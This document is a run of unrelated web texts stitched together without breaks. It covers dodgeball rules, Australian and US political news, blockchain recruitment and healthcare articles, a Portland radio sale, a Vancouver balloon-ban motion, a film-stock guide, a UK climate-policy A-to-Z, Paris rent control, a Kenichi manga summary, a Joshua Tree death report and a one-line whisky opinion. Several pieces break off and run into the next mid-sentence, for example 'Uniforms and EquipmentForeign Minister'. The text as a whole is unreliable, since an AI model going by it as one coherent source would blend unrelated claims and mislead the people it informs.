The Rush occurs at the beginning of each game or reset. Play begins with all players positioned behind their team’s end line. This tournament will be using a Tactical Rush. Each team begins with two balls already in hand. The remaining two balls are placed equal distance on the center line. Upon the official’s signal, both teams may rush to center court and attempt to retrieve the two balls on the Center Line. All Balls are considered live at the start of the game.
Blocking
Blocking a ball is not allowed a blocked ball is considered dead upon contact with the ball and the blocking player is called out.
Time Outs
There are no team time outs.
Outs
player shall be deemed “out” when a live ball hits any part of the player’s body, clothing, or uniform.
A defending player catches a live ball.
Players shall return from the Queue in the order they were put “out” (i.e. first “out,” first “in”).
Pinching
The act of squeezing the ball is not allowed.
Stalling
The act of intentionally delaying the game. If a referee determines that a player or team is stalling, the referee will warn player or team. If the stalling continues, at the referees discretion, player or team will lose possession of all balls on their side. If both teams are stalling a reset should occur.
Out of Bounds Rule
If any part of the player’s body touches the end lines the player shall be deemed “out”.
Momentum may carry a player out of bounds while making a catch. Providing control of the ball was established prior going out of bounds.
Neutral Zone Rule
A player may safely step into the neutral zone but not across. Except for in the act of performing a sacrifice fly.
Sacrifice Fly
An airborne attack, where an attacking player may legally cross the neutral zone to hit an opponent but the ball must leave the attacker’s hand before any part of the attacker’s body touches the opponent’s territory. If successful, the player hit is out and Attacking player remains in.
Headshots
Headshots are legal at the DWC.
Uniforms and EquipmentForeign Minister Julie Bishop has distanced herself from Prime Minister Tony Abbott's assertion that Coalition MPs backgrounding against his chief of staff, Peta Credlin, are sexist.
News Corp Australia tabloids reported on Sunday that Queensland MP Warren Entsch had lodged a formal complaint with chief whip Philip Ruddock after Mr Abbott's suggestion on Friday that Ms Credlin would not be subject to the same internal criticism if she were a man.
Julie Bishop says MPs upset with Peta Credlin should speak to the Prime Minister. Credit:Alex Ellinghausen
"Do you really think my chief of staff would be under this kind of criticism if her name was P-E-T-E-R as opposed to P-E-T-A?" Mr Abbott said on Friday.
But Ms Bishop said, "That's not the way I would put it."APPII, a UK-based technology start-up, is testing out a way of encapsulating verifiable recruitment-data within transparent, tamper-proof automated contracts run on the Ethereum blockchain.
The smart contracts allow for the verification of the career profile (curriculum vitae or resume) of students and workers by their former, and current, employers and education providers.
The system has been built on Ethereum by London based blockchain consultancy Applied Blockchain and aims to go live in the summer.
The co-founder and CEO of APPII, Gary McKay, told IBTimes: "Our use case is quite simple. We are just going to load people's resumes into the smart contracts and then individually the work experience at a particular employer or qualification – and we are going have the employers or the education prover verify that's correct.
"The difference between LinkedIn is that there is no method of truly verifying if it's correct information. We are going to try and remedy that by verifying with an employer or education provider that somebody has worked there or is qualified.
"In recruitment generally, because of the cost of verifying individuals, it tends to happen right at the end of the recruitment process. So if somebody is found to have anomalous details on their resume, it means the employer or recruitment agency has to start again. We can help that. Blockchain allows the trust parties to come together where before they didn't talk to each other, unless this was all facilitated by the recruiter."
McKay said early validation of career profiles will improve the recruitment process, reducing timeframes and cost to hire, providing students and jobseekers with a greater chance of being considered as a candidate by an employer.
Apparently, in any given year there are 2,000,000 workers that find new jobs, 200,000 graduates looking for jobs, and, on any given day, 1,500,000 temporary or contracting staff looking for new work. The process isn't at all easy for student, jobseeker or employer.
Some 90% of resumes are said to contain inaccuracies, which are costly to find. On average, an employer will have to wait 68 days to hire a permanent role, employers only see 15% of viable candidates, and the wait will cost employers anywhere between £18,000 to £35,000 in lost sales or productivity.
McKay said you can add role descriptions with accompanying legal and contractual information, which can be registered as smart contracts and also trigger automated activities during the recruitment process, such as candidate matching, distribute candidate offers, offer acceptance etc.
Kartik Natarajan, co-founder, Applied Blockchain, said: "APPII has surfaced a very interesting proposition that can significantly improve the recruitment process. Applied Blockchain look forward to supporting the development of their service moving forward."More changes are coming to the Portland-area media world. Both KPAM-AM (860) and "Sunny 1550" (KKOV-AM) are in the process of being sold. A call to Pamplin Media Group asking about the changes was transferred to a recording, which announced that after nearly 18 years, both KPAM and Sunny 1550 "are in the process of a sale."
The stations will, the recording says, spend the next three to six months on a "farewell tour," celebrating and reminiscing, as they are "going out with a bang."
Recently, employees of KPAM posted on social media that they had been informed that the station was being sold, and would become a Vietnamese language station.
Mark Dornfeld, KPAM traffic reporter, for example, posted on Twitter, announcing that KPAM was being sold, and "new ownership isn't keeping the staff."
Dornfeld also wrote that the three to six months estimate before listeners hear a format change is due to time needed for the Federal Communications Commission to approve the sale.
Regarding the changes coming to KPAM, reporter K.C. Cowan wrote in an email that she is "really sad the station is being sold," and that she "enjoyed working with everyone there. They were some of the most dedicated news people I've ever worked with, and I'll miss them."
KPAM bills itself as "News Talk 860," and features an all-news and talk format, which includes local shows and syndicated programs such as "The Clark Howard Show."
The slogan for Sunny 1550 is "America's best music," and the playlist features vintage tunes such as Billy Joel's "Just the Way You Are," "The Girl is Mine" by Michael Jackson and Paul McCartney, and Glen Campbell's "By the Time I Get to Phoenix."
We've reached out to KPAM for more information about the sale and the new format, and this post will be updated when we have more details.
The Pamplin Media Group, owned by Robert B. Pamplin, Jr., also operates the Portland Tribune, along with several suburban community newspapers in the metro area.
kturnquist@oregonian.com 503-221-8227 @KristiturnquistI don't know whether this is a possible good sign of Chris setting the stage for a real 9/11 coming out party, or proof that Hedges is playing a very skillful game of cherry picking reality.
"Yet we refuse, because we cannot think and no longer listen to those who do think, to see what is about to happen to us. We have created entertaining mechanisms to obscure and silence the harsh truths, from climate change to the collapse of globalization to our enslavement to corporate power, that will mean our self-destruction. If we can do nothing else we must, even as individuals, nurture the private dialogue and the solitude that make thought possible. It is better to be an outcast, a stranger in one's own country, than an outcast from one's self. It is better to see what is about to befall us and to resist than to retreat into the fantasies embraced by a nation of the blind".
"Human societies see what they want to see. They create national myths of identity out of a composite of historical events and fantasy. They ignore unpleasant facts that intrude on self-glorification. They trust naively in the notion of linear progress and in assured national dominance. This is what nationalism is about—lies. And if a culture loses its ability for thought and expression, if it effectively silences dissident voices, if it retreats into what Sigmund Freud called "screen memories," those reassuring mixtures of fact and fiction, it dies. It surrenders its internal mechanism for puncturing self-delusion. It makes war on beauty and truth. It abolishes the sacred. It turns education into vocational training. It leaves us blind. And this is what has occurred. We are lost at sea in a great tempest. We do not know where we are. We do not know where we are going. And we do not know what is about to happen to us".
The psychoanalyst John Steiner calls this phenomenon "turning a blind eye." He notes that often we have access to adequate knowledge but because it is unpleasant and disconcerting we choose unconsciously, and sometimes consciously, to ignore it. He uses the Oedipus story to make his point. He argued that Oedipus, Jocasta, Creon and the "blind" Tiresias grasped the truth, that Oedipus had killed his father and married his mother as prophesized, but they colluded to ignore it. We too, Steiner wrote, turn a blind eye to the dangers that confront us, despite the plethora of evidence that if we do not radically reconfigure our relationships to each other and the natural world, catastrophe is assured. Steiner describes a psychological truth that is deeply frightening".
truth-out.org/opinion/item/10223-turning-a-blind-eye1 of 1 2 of 1
A Vancouver park board commissioner is floating an idea that may not sink well with many.
Stuart Mackinnon wants to prohibit the use and display of balloons in areas under the jurisdiction of the Vancouver board of parks and recreation.
If Mackinnon has his way, there will be no more balloons in parks, beaches, and community centres.
The Green Party of Vancouver commissioner filed a motion seeking to ban balloons, which is included in the agenda of the board on Monday (September 18).
According to his motion, deflated balloons are often mistaken by animals for food because of their bright colour.
Mackinnon explained in his motion that the accidental consumption harms animals like birds, causing intestinal blockages and starvation.
The park commissioner also noted in his motion that animals also get entangled in strings and ribbons attached to balloons.
“Flippers and fins of sea turtles, seals, and dolphins can also become wrapped in string, causing infections, amputations and/or death by drowning,” according to Mackinnon’s motion.
The commissioner also stated in his motion that balloons can also cause fatalities among young children.
Mackinnon likewise noted that balloons, which are made of latex or plastic, are “an ever-increasing product in our landfills, beaches, waterways, oceans and other natural areas”.Let's chant it from the rooftops: Film is not dead, whether as a medium in art or as the thing that makes instant photos at parties possible and will let you take pictures in places where digital cameras and phones aren't allowed in. There are genres of photography in which film is distantly a second choice now. Sports and journalism are the most obvious examples here. Product photography too, and corporate headshots won't be overwhelmingly captured on the silver halides and color dyes of film stock again anytime soon. I won't list all the other types of photography that benefit from Capture One live view or instant feedback on the back of a display screen. The list is obviously extensive.
There are those genres in which film photography still has a place, though. To be sure, as a niche within a niche, but that doesn't mean you shouldn't keep pursuing it if it suits your style, and it doesn't mean you shouldn't try it if you've never tried it before. There are quite a few questions that surround shooting film if you're a digital native, and I won't attempt to answer all of them here, but a few should be tackled.
Which camera should you choose? Now there's a discussion that could last years. This may be something I'll address in a later post, but for now: if you're using a digital camera now, use a film camera that takes the same lenses. Nikon, Canon, Minolta/Sony, Pentax, and Leica are the most used brands that still use a mount originally developed for film cameras.
With a camera in hand, you will need film. The good news is there are a lot of varieties of film still available for you to choose from. The bad news is well, there are a lot of varieties available to choose from. So, what are the film stocks currently produced, and how do they fit each type of photography? Here's a very personal list of films fitted to genres. Bear in mind that you'll be hard pressed to find agreement on what some of these genres mean or where one ends and another begins, so don't take this for gospel. Note that I will talk about fresh, currently available film and not discontinued stocks that may have gone by the same name.
Wedding Photography
You can't control the light through all stages of a wedding, so you need a film stock that can take a bit of a beating. You will need something with wide latitude and dynamic range. You can't chimp and check if you got a staged shot, and you obviously can't recreate a moment. Your film needs to be reliable and tolerant. You need something that will over and underexpose without too much complaint.
Here's were medium ISO negative color film comes in. Stocks like Fujifilm Pro 400H and Kodak Portra 400 will overexpose without much complaint and can absorb some underexposure. If you only want to work with one film, pick one of these. Overexpose them a stop or two for a more ethereal look if you want. Use them at box speed (the ISO they are advertised for) if you need higher ISOs.
Both have somewhat muted colors, and both will work fine in daylight and with flash. Because most films these days are daylight balanced, you may need to use a filter in artificial lighting or rely on either the film lab or your scanning and editing skills to fix color casts.
If you want a few black and white pictures, you can of course easily apply any filters you would use for digital images on scans of these color films. If you want to go all black and white, your choices are overwhelming. A good starting point is Kodak's T-Max line of films, available in ISO 100 and 400, and Ilford's XP2 (which can be processed in color chemistry at any film lab), or Rollei's RPX 100 and RPX 400. The latter are similar to discontinued Agfa films, APX 100 and 400, which were my go-to black and white films when still available.
For low light, add some Kodak Tri-X pushed two stops, or use the very grainy but very fast Ilford Delta 3200.
Agfa APX 100.
Portrait and Fashion Photography
There is still enough of a market for film manufacturers to actually produce film geared towards this type of photography. In portrait photography, you may split your time between a studio where you can light your models as you wish and the big, wide world, where you may or may not be able to do that.
Kodak and Fujifilm both offer ISO 160 films that have fine grain and give pleasing results with all skin colors. Fujifilm's Pro 160C and Kodak's Portra 160 both have even more subdued colors than their ISO 400 sisters mentioned above. If you have enough light, these films are great and very fine-grained. If you don't, their ISO 400 variants, as well as Kodak Portra 800, will enable you to achieve results that don't look out of place next to pictures taken on the lower ISO film.
Also consider Ektar 100. Kodak Ektar 100 is one of the newest film emulsions out there. It has very fine grain, punchy colors, and less latitude than other professional films. That, and the fact that it tends to make white skin look unnaturally pink if you don't correct for it may put you off Ektar, but with the right kind of subject matter, the results are worth it.
Kodak Portra 160.
Landscape Photography
Landscapes typically call for slow films and tripods. For color, the classic choice since the discontinuation of Kodachrome is Fujifilm's brilliantly vivid Velvia 50. Try Velvia 100 and Provia 100F or the very similar AgfaPhoto CTprecisa 100 as well for less saturated, more natural-looking colors, as well as Kodak Ektar 100. In black and white, similarly pick something slow, such as Kodak's T-Max 100, Rollei's RPX 25, and Ilford's Pan F Plus.
Agfa Precisa 100.
Travel Photography
Travel photographers have it hard. They need to carry their equipment with them in all kinds of weather and environments, and they often have to go through checkpoints and airport X-ray machines or insist on hand-checks of film stock. Personally, here I would go for Fujifilm's quite natural-looking Provia 100H or Agfa Precisa 100. If slide film is impractical for you, go for Kodak Ektar 100, which in some respects looks quite similar to older slide film stocks.
You can feed ISO 100 film through airport X-rays dozens of times without a problem, while higher ISOs suffer after just a few journeys. If you're just flying to a place and back, can find labs to process along the way, or are going by car or train, this is obviously less of an issue. In that case, you can supplement or replace these films with ISO 400 film, like the above-mentioned Fuji Pro and Kodak Portra. For me, travel photography evokes colorful, exotic locales, however, and I find these best captured by slide film.
Kodak Ektar 100.
Street Photography
The classic look here is black and white and grainy. Use Kodak Tri-X or Ilford HP5 Plus. Push it two stops if you like, and you're halfway there. (Pushing means underexposing the film and then compensating for this in development. So pushing two stops means shooting these ISO 400 films at ISO 1600. You can do the pushing on your own or you let the lab know that that's what they should do.) But if there's enough light, you can also go with something slower, like Kodak T-Max 100, or Ilford FP4.
Kodak Tri-X 400.
Urban Photography
There's certainly no hard and fast line between urban photography and the street or travel genres. If you shoot lively scenes moving quickly, you may decide that a street photography type style, black and white and grainy, is called for. My personal preference here is for something with relatively true colors, medium speed, low grain, and not too punchy. I have used Fujifilm's ubiquitous consumer film Superia 200 extensively and can also recommend the company's 400H Pro film and Kodak's Portra 400. If processed and scanned the same, the Fujifilm emulsions give me somewhat truer colors, reminiscent of street and photojournalism images from the 1990s, while Kodak's Portra has a bit more of an old school Americana feel.
Fujifilm Superia 200.
The Choice Is Yours
Which film you end up choosing for which task is intensely personal. New films continue to be formulated and produced, so something that doesn't even exist today may become one of your favorites. With time, you will come to like some film stocks and dislike others. This depends on what and where you typically shoot, what your style of photography is, and what's available and easily fits into your workflow. I hope, however, that this can serve as a starting point and as a non-binding reference sheet for those only just beginning their film photography journey.State Rep. Melissa Sargent says the way Wisconsin funds transportation and road building, such as the major reconstruction on the Beltline in Madison, is unsustainable and the state needs a permanent solution. (WI Dept. of Transportation)
MADISON, |
all new homes to be carbon-neutral. Indeed, his voting track record indicates a lack of support for actions to reduce greenhouse gas emissions, including voting to remove renewable energy exemption from the Climate Change Levy. Only time will tell whether this change in advisor will genuinely be a change for the better.
B is for Brexit
This election had been billed as an opportunity for the electorate to provide May with a mandate to negotiate the UK’s exit from the EU. Until now, she was proposing a ‘Hard Brexit’; common parlance for a clean split from all EU policies and practices, but the results do not appear to have provided this resounding endorsement. Commentators say that a change in leadership style following the election results could either soften, or slow, or alter the Brexit process in some way. A large quantity of our environmental legislation is enshrined in EU law, so the manner in which this is transferred to UK legislation will make a huge difference to important matters like clean water and beaches, electricity generation and connections with the mainland, air pollution, and schemes to limit greenhouse gas emissions. It remains to be seen how this will progress, so we have written some interesting discussion pieces on the matter. Unfortunately, any change in approach to the Brexit negotiations is likely to absorb even more time and attention from government and the Civil Service, meaning that there is less time to focus on pressing climate and environment actions.
C is for Cabinet
In the short term, while a few changes have been made to Mrs May’s cabinet, Greg Clark MP, Secretary of State in the Department for Business, Energy and Industrial Strategy (BEIS), remains in place. Given his continuation of service, Mr Clark has been deeply involved planning what needs to be done to achieve our commitments to the Paris Agreement on climate change, and further developments in key policies like the national industrial strategy. The need is pressing as urgent action to limit climate change will make its effects less extreme and costly to handle, so with any luck we might soon see the government’s long-awaited emissions reductions plan. The Member of Parliament for the Devizes Constituency Claire Perry is replacing Nick Hurd as Minister for Climate Change, and whilst this change unhelpfully means we will must now bring the latest evidence for action on tackling climate change to a new Minister, at least she has shown some positive record in this area.
D is for DUP
The DUP has been known to express views that global warming is not caused by greenhouse gas emissions from human activities, and that any plans to reduce carbon dioxide are green propaganda. Until we know the nature of the deal that has been struck, we don’t know how these views will play out in the wider Parliament. Fortunately, the combined number of DUP and Conservative MPs are unlikely to be able to topple any climate change legislation, and it is already emerging that the DUP has more important priorities than their antipathy for environmental protection.
E is for Environment Minister
The reshuffle sees Michael Gove take the helm at the Department for the Environment, Food and Rural Affair (Defra). In 2013, as Education Secretary, he was reportedly keen to drop climate change from the geography national curriculum, where its study centres largely on its effects on the environment and human society, and since the EU Referendum he became infamous for his disregard of experts. Hopefully he will take this opportunity to make progress of one of the department’s most important responsibilities, the Common Agricultural Policy (CAP). Many are hoping it will be reformed with an economically and environmentally-sound replacement ahead of the break from EU legislation. Conservationists will also be watching to see if Mr Gove will finally release the government’s long-overdue 25-Year Environment Plan.
At the Grantham Institute, we represent the breadth and depth of Imperial College London work in climate change and the environment. In these uncertain times, we are communicating scientific knowledge with the Members of Parliament, their advisors and Civil Servants, to support global leadership in reducing and solving environmental challenges.
As the people in public office settle into their new roles, we continue to take stock of the situation, and are happy to share our insights with those in Imperial’s global community, who share our goal for a low-carbon, sustainable world.
To hear more about the work on climate change and the environment at Imperial College London, anyone is invited to sign up to receive our weekly update of news, views and events.
To work with us more closely to achieve these goals through science, health, engineering, business and policy, Imperial staff are invited to sign up to the Grantham Affiliates scheme to access funding, training, and other opportunities.Paris, France’s economic capital, is an expensive place to live. Because of that, successive governments have been trying to artificially bring rent down over the years to avoid tenants’ defaulting on their payments. That’s an impossible task, and so the government has embraced full-scale control of the issue.
The latest bill presented by the newly elected socialist government would prevent landlords from raising rent even when signing a new lease with a tenant moving in.
In France, rent is already controlled by default; once a tenant signs a lease, the landlord can only raise rent up to a value indexed on inflation and set by the government. This results in landlords not being able to afford regular maintenance and refusing to do basic repairs unless required by law. It is common for French tenants to have to paint their apartment, call and pay for handymen themselves. On the other hand, it takes a hefty legal bill and a minimum of a year for a landlord to be able to evict a tenant who defaulted on rent.
To protect themselves, landlords screen their applicants and demand very strong financial credentials from prospective tenants and guarantors alike, as well as large deposit. This deadlock situation is creating one of the toughest rental markets on earth. Applicants who do not have wealthy relatives as guarantors are denied apartments they could otherwise afford and landlords are not willing to rent decent apartments. The rental market in Paris is thus left with overrun condos in bad conditions and overpriced to account for the risk of default. With the new law, and landlords not even able to raise rent at a new lease, signature things are about to get worse.Kenichi: The Mightiest Disciple (Japanese: 史上最強の弟子 ケンイチ, Hepburn: Shijō Saikyō no Deshi: Kenichi) is a Japanese manga series written and illustrated by Syun Matsuena. It was serialized in Shogakukan's magazine Weekly Shōnen Sunday from May 2002 to September 2014.
The manga is a remake of Tatakae! Ryōzanpaku Shijō Saikyō no Deshi (戦え!梁山泊 史上最強の弟子, lit. Fight! Ryōzanpaku, History's Strongest Disciple), which was serialized in the monthly magazine Shōnen Sunday Super, publishing five tankōbon between 2000 and 2002.
The first tankōbon was published on August 9, 2002. An anime adaptation by Tokyo Movie Shinsha aired 50 episodes from October 2006 to September 2007. Brain's Base produced OVAs for the series, which continue from the Ragnarok Arc. The first OVA was released on March 14, 2012, the second OVA was released on June 18, 2012, and a third OVA was released on November 16, 2012.[3] The fourth and fifth OVA were released as a double feature on September 16, 2013.[4] The sixth and seventh OVA were released on November 18, 2013.[5] The eighth and ninth OVA were released on February 14, 2014.[6] The tenth and eleventh OVA were released on May 16, 2014.[7]
Story [ edit ]
The story focuses on Kenichi Shirahama, a 15-year-old high school student and a long-time victim of bullying. At the beginning of the story, he befriends transfer student Miu Fūrinji; and desires to become stronger, he follows her to Ryōzanpaku, a dojo housing several masters of diverse martial arts, led by her grandfather Hayato Fūrinji. After learning basics from Miu, Kenichi overcomes a high-ranking member of the school's karate club, and becomes a target for all the delinquents in the school. While initially training to protect himself, Kenichi eventually becomes a full disciple of Ryōzanpaku, and becomes enamored of Miu. Subsequently, Kenichi's daily routine is divided between training under the six masters of Ryōzanpaku, and his fights against the members of 'Ragnarok', a gang of bullies trying alternately to recruit or to vanquish him. After Ragnarok is disbanded, Kenichi and Miu are targeted by Yomi, a group of disciples personally trained by a master of an organization rivaling Ryōzanpaku, Yami. While the masters of Ryōzanpaku and their allies follow the principle of always sparing their opponents' lives (Katsujin-ken), the members of Yami believe that any means of defeating an opponent is valid, including murder (Satsujin-ken). In the struggle between the two factions, Kenichi, Miu, and their allies fight the members of Yomi, while his masters confront the members of Yami. The conflict between the two factions culminate with the final battle to stop Yami's main objective, which is to usher a new era of chaos and warfare in the world, also known as "The Eternal Sunset". Once the Eternal Sunset is prevented and their main leader is defeated, Yami and Yomi are disbanded as well. Kenichi then continues to train at Ryōzanpaku, and years later he becomes a famous novelist, but it's hinted that he also becomes Miu's husband and a martial arts master more powerful than her grandfather, the Elder, who had always sworn he would only allow Miu to marry someone capable of defeating him first.
Terminology [ edit ]
The series makes use of several in-universe concepts including:
Dou ( 動 ) The word "Dou" means motion. Users seem to rely heavily on instincts and brute strength when fighting; but Dou fighters have a technique of interpreting an opponent's movements. According to James Shiba, a Dou fighter focuses on making their ki "explode" after channeling it through a target to deal damage. According to the manga, Apachai, Sakaki, and Miu are all Dou types.
Sei ( 静 ) The word "Sei" means silence. Users focus their attention on changes in the environment and react to imminent danger. These traits are evident in Kensei, Akisame, Hayato, and Kenichi. This principle requires calm and clarity of mind. Ryūto Asamiya also seems a fighter of the Sei class; but in an experiment conducted by his master Ogata, he tried to embody both Sei and Dou styles at the same time, incurring some damage to himself.
The Path of Asura The path of the martial artist who pursues power in order to kill. Isshinsai Ogata walks this path and tries to convince Kenichi to follow him, with no success.
Killing Fist ( 殺人拳, Satsujin-ken) Literally "the Death giving fist": the belief that bare-handed martial arts were created as killing weapons. Despite this a follower is not obliged to kill an opponent. Yami embodies this principle.
Saving Fist ( 活人拳, Katsujin-Ken) Literally "the Life giving fist": the belief that bare-handed martial arts were created in defense of innocent lives. Its guidelines are 'not to kill and not to be killed'. The masters of Ryozanpaku maintain this principle.
Media [ edit ]
Manga [ edit ]
The manga series is written and illustrated by Syun Matsuena. It was serialized in Shogakukan's Weekly Shōnen Sunday from May 1, 2002[8] and finished on September 13, 2014.[9] The manga is a remake of Tatakae! Ryōzanpaku Shijō Saikyō no Deshi (戦え!梁山泊 史上最強の弟子?, lit. Fight! Ryōzanpaku, History's Strongest Disciple), which was serialized in the monthly magazine Shōnen Sunday Super.
Shogakukan has released chapters in tankōbon format under Shōnen Sunday Comics (少年サンデーコミックス) imprint and as of now 61 volumes has been published. The first volume was published on August 9, 2002,[10] and the latest on November 18, 2014.[11] Shogakukan also released limited edition versions of several volumes beginning with volume 35.[12] The series is licensed in France by Kurokawa.[13]
Anime [ edit ]
An anime adaptation of Kenichi: History's Strongest Disciple animated by Tokyo Movie Shinsha first started airing on October 7, 2006. It aired a total of fifty episodes, covering from the beginning of the story to the confrontation against the top members of Ragnarok. Funimation has dubbed the series. All 50 episodes have been released as of May 25, 2010. The rights of the series expired in 2018.[14]
The series made its North American television debut when it aired on Funimation Channel starting October 26, 2009. All 50 episodes have been shown.
An OVA produced by Brain Base was released on March 14, 2012. The story continues from the Ragnarok Arc entering the Yomi arc. The second OVA featuring later story in the yomi arc was released on June 18, 2012, and a third OVA was released on November 16, 2012.[3] The fourth and fifth OVA were released on September 16, 2013.[4] The sixth and seventh OVA were released on November 18, 2013.[5] The eighth and ninth OVA have been announced and released on February 14, 2014.[6] The tenth and eleventh OVA were released on May 16, 2014.[7] The main cast for the OVA series is the same from those of the anime series except for Rie Kugimiya who replaces the late Tomoko Kawakami as Miu and Yuzuru Fujimoto who replaces the late Hiroshi Arikawa as her grandfather Hayato.
Music themes [ edit ]
OVA Openings: 1st OVA Opening - Wish by Iori Nomizu (OVAs 1-9)
2nd OVA Opening - Higher ground by Tomokazu Seki (OVAs 10-Present) Opening themes [ edit ] Title Transcription/Translation Artist Episodes Be Strong n/a Kana Yazumi 1-25 Yahhoo ヤッホーYahhō Diva x Diva 26-50 Ending themes [ edit ] Title Transcription/Translation Artist Episodes Kimi Ga Irukara 君がいるから Because you are there Issei Eguchi 1-15 Catch Your Dream☆ n/a Koike Joanna 16-25 Run Over n/a Koike Joanna 26-45 Kokoro Kara No Message 心からのメッセージ A message from Heart Sakura 46-49 Be Strong n/a Kana Yazumi 50
The song titles are from Kenichi: The Mightiest Disciple Season 1- Complete DVD Set (2010) and Kenichi: The Mightiest Disciple Season 2- Complete DVD Set (2011).
Games [ edit ]
On March 15, 2007, Capcom released the series' first game, Shijō Saikyō no Deshi Kenichi: Gekitō! Ragnarok Hachikengō, exclusively on the PlayStation 2.Hours after House intelligence committee chairman Devin Nunes (R-Calif.) announced he has new information about the incidental, but legal, collection of information on members of the Trump transition team, Sen. Lindsey Graham (R-S.C.) called the revelation “disturbing.”
“I meet with foreign leaders all the time as a senator,” Graham told CNN’s Wolf Blitzer Wednesday evening. “I wonder if my meetings are being surveilled by the intelligence community. If so, I think when I’m involved, that would be inappropriate, because I may be talking of things of policy that I don’t want the executive branch to know about.”
Nunes told reporters on Wednesday that he recently confirmed that “on numerous occasions, the intelligence community incidentally collected information about U.S. citizens involved in the Trump transition.”
Nunes said details with “little or no apparent foreign intelligence value were widely disseminated in intelligence community reporting.” He also said the names of Trump transition team members “were unmasked.”
Nunes said the surveillance has nothing to do with Russia’s efforts to influence the election or with the alleged coordination between the Trump team and Russia.
Read morePresident Donald Trump sent 26 per cent fewer Mexicans back home this year despite his vows to crackdown on illegal immigration.
According to new data from Mexico's Interior Ministry, Trump has sent home fewer Mexicans through November than former president Barack Obama did in the same period in 2016.
About 152,000 Mexican nationals were deported from the US between January and November, according to Bloomberg.
President Donald Trump sent 26 per cent fewer Mexicans back home this year despite his vows to crackdown on illegal immigration
According to new data from Mexico's Interior Ministry, Trump has sent home fewer Mexicans (file image) through November than former president Barack Obama did in the same period in 2016
Under Obama, 205,000 Mexican nationals were deported during the first 11 months of 2016.
During the election, Trump vowed to target criminals for deportation and warned that they were 'going out fast.'
In an interview with CBS's 60 Minutes just days after he won the presidential election in 2016, Trump vowed to 'immediately' deport two to three million illegal immigrants with criminal records.
Trump has also vowed to build a wall along the Mexican border.
And in September, the president decided to end the Deferred Action for Childhood Arrivals program (DACA).
DACA is an Obama-era initiative that grants work permits to more than 800,000 undocumented immigrants who were brought to the country by family members as children.
A report from the US Immigration and Customs Enforcement (file image) showed that through early October removals of Mexican nationals were down,. But administrative arrests of all immigrants were up 30 per cent in fiscal year 2017
A report from the US Immigration and Customs Enforcement (ICE) showed that through early October removals of Mexican nationals were down,.
But administrative arrests of all immigrants were up 30 per cent in fiscal year 2017.
'For Mexicans who enter illegally, effective tools like expedited removal have led to increased deterrence, which has impacted entry levels,' Tyler Q Houlton, acting press secretary for the Department of Homeland Security, said in an email to Bloomberg.
Trump's deportation numbers were monitored throughout the year.
In January, federal immigration officials deported 9,913 criminals. After a slight uptick under Trump, expulsions sank to 9,600 criminals in June.
Mostly deportations have remained lower than in past years under the Obama administration.
From January to June, ICE deported 61,370 criminals, down from 70,603 during the same period last year.
Analysts said earlier this year that Trump is unlikely to hit his target deportation numbers during his four-year term.Blockchain is a curious phenomenon in that it seems to be both massively hyped whilst flying under the radar at the same time. The likes of Bitcoin have generated significant amounts of media attention, yet at London Tech Week this week, there are but a few events dedicated to blockchain.
One event that was on was hosted by the law firm Bristows, who assembled a panel of luminaries from the blockchain world to try and decipher exactly what it was all about for an audience of primarily non-techies.
I'm not entirely convinced that it served that purpose, but there is a steady groundswell to suggest that it is a technology whose time has arrived, particularly in providing trust in the way information and transactions are managed.
A new level of trust
It's certainly something that blockchain expert William Mougayar thinks is fundamental to the appeal of the technology.
"Blockchains offer a new paradigm for implementing transactional trust. We should open our minds, and accept that trust will be computed by machines, instead of verified by humans," he says in his latest book, The Business of Blockchain.
Tangible examples of the potential of this weren't really forthcoming at the Bristows event, but if you look a bit further afield then the possibilities are evident.
For instance, in banking, a recent report by Neopay revealed how low trust levels are in the financial sector amongst young people. It revealed that around half of the young people surveyed don't trust high street banks with their financial transactions, with a sizeable number placing greater faith in tech giants such as Google.
Blockchain and healthcare
Perhaps even greater possibilities exist in areas such as health information. The prospect of using technologies such as blockchain in the NHS was first espoused in a report published earlier this year by the UK's chief scientific advisor, Sir Mark Walport.
"In the NHS, the technology offers the potential to improve health care by improving and authenticating the delivery of services and by sharing records securely, according to exact rules," it says.
Whilst these kind of records are already in place in countries such as Estonia, we should not under-estimate just what a shift this would represent. Blockchain is unlikely to be the silver bullet that will fix the woes of the NHS, and considerable hurdles exist to improve medical records and patient data privacy.
Nonetheless, the possibilities are tantalizing to say the least, with blockchain offering the potential of hosting our medical records, complete with things such as user-generated and genomics data, that we can rest-assured can only be accessed by either ourselves or approved persons.
Estonia have provided this by using Guardtime's large scale keyless data authentication, which when combined with a distributed ledger allows citizens to unlock their healthcare records in real-time using their personal ID. The blockchain secures the record by providing a clear register of anyone that has touched each record, thus helping to maintain compliance with rules and regulations.
The ability for this data to then be shared, in anonymous form, with researchers offers another significant potential advantage of using blockchain for our health records.Image copyright National Park Service Image caption The pair went missing in the arid desert park during extremely hot weather
A California couple who went missing in July in the Joshua Tree National Park are believed to have died in a murder-suicide pact, police have said.
Rachel Nguyen, 20 and Joseph Orbeso, 22, were first discovered on 15 October by a search and rescue party that included Mr Orbeso's father.
Police said evidence at the scene suggested that Mr Orbeso shot Ms Nguyen before turning the gun on himself.
It appeared they were low on food and without water, an official said.
San Bernardino sheriff's spokeswoman Cindy Bachman told the BBC the couple was found under a tree and appeared to be embracing each other.
She said Mr Orbeso and Ms Nguyen had positioned their clothing to cover their lower legs to protect themselves from the heat.
Investigators found a handgun registered to Mr Orbeso at the scene, she added.
"The circumstances are really like no other search operation that we've been involved in," Ms Bachman said.
"But there is no evidence that leads [investigators] to believe that he was intending to harm her."
Mr Orbeso and Ms Nguyen were reported missing on 28 July after they failed to check out of their Airbnb accommodation in the Morongo Basin area.
National Park Service rangers found their car near a trailhead, prompting search and rescue teams to spend more than 2,100 hours looking for the couple.
According to Joshua Tree Search and Rescue, they were found in a "a steep canyon" north of the Maze Loop trail. The bodies were recovered a day after the discovery.
The San Bernardino Sheriff's Department Morongo Basin station said in a statement on Friday that homicide detectives were called to help "due to suspicious circumstances and visible injuries" to their bodies. The investigation is ongoing, they added.
Image copyright Joshua Tree Search & Rescue Image caption Rescuers have faced danger, as temperatures soar into triple digits fahrenheit
Mr Orbeso's father said in an email to the Southern California News Group that he wants his son "to be remembered as a kind, caring and thoughtful person".
"The way he was found beside Rachel holding her as they were seeking shade under the brush says everything you need to know about him as a man and as a human being," Mr Orbeso said.
The week-long search had been suspended back in August after more than 10 search personnel were injured due to severe heat.
The search was then "scaled back to smaller teams on the weekends", the sheriff said.Pale whiskies are not as good as dark whiskies.
